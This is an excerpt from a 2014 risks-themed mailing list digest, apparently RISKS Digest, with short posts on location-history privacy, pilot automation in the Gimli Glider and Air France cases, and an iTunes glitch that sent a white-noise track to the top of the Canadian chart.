I'd be more worried about taxi drivers perusing the google's location
history URL, finding areas where most destinations are, and staying
there. The risk is then you can't get a cab anywhere else.

BioMagResBank, UW-Madison—http://www.bmrb.wisc.edu


Re: Should Airplanes Be Flying Themselves? (William Langewiesche)

"John Levine" <johnl@iecc.com>
24 Oct 2014 23:16:37 -0000
It's an excellent article, well worth the 10 minutes to read it.

The Gimli Glider was in many ways the direct opposite of the Air France
crash.  In the Gimli case, there was a real and very severe problem, the
plane was in the middle of nowhere and ran out of fuel.  If the pilots
hadn't taken skillful action, the plane would have fallen out of the sky and
crashed.

With the Air France flight, there was no physical problem other than that
some sensors were iced over.  As Langewiesche makes clear, if the pilots had
done nothing at all, the plane would have been fine.  The sensor loss made
the plane drop back from the most automatic mode to a less automatic one,
but even so, the plane was flying without difficulty.


Taylor Swift Tops Canadian iTunes Chart With 8 Seconds of White Noise (Lorena O'Neil)

Henry Baker <hbaker1@pipeline.com>
Fri, 24 Oct 2014 18:17:40 -0700
FYI—I wonder if the music isn't "white noise" after all, but the sole
sound of DRM.  I can't wait for this clip to be posted to YouTube, so that a
DMCA takedown notice can be issued by one of those DMCA bots!

Lorena O'Neil, The Hollywood Reporter
http://www.msn.com/en-us/music/news/taylor-swift-tops-canadian-itunes-chart-with-eight-seconds-of-white-noise/ar-BBaCB7A

A glitch in the Canadian version of iTunes released a track called "Track
3," that looked like it could be a new track from her upcoming album 1989
but was actually just white noise.  Nevertheless, the song soared to the
top, beating out her new songs that actually are real music, including
"Shake It Off," "Welcome to New York" and "Out of the Woods."

Haters might hate but once a singer scores a chart-topping hit comprised
solely of white noise, it's hard to deny she's an unstoppable musical force.

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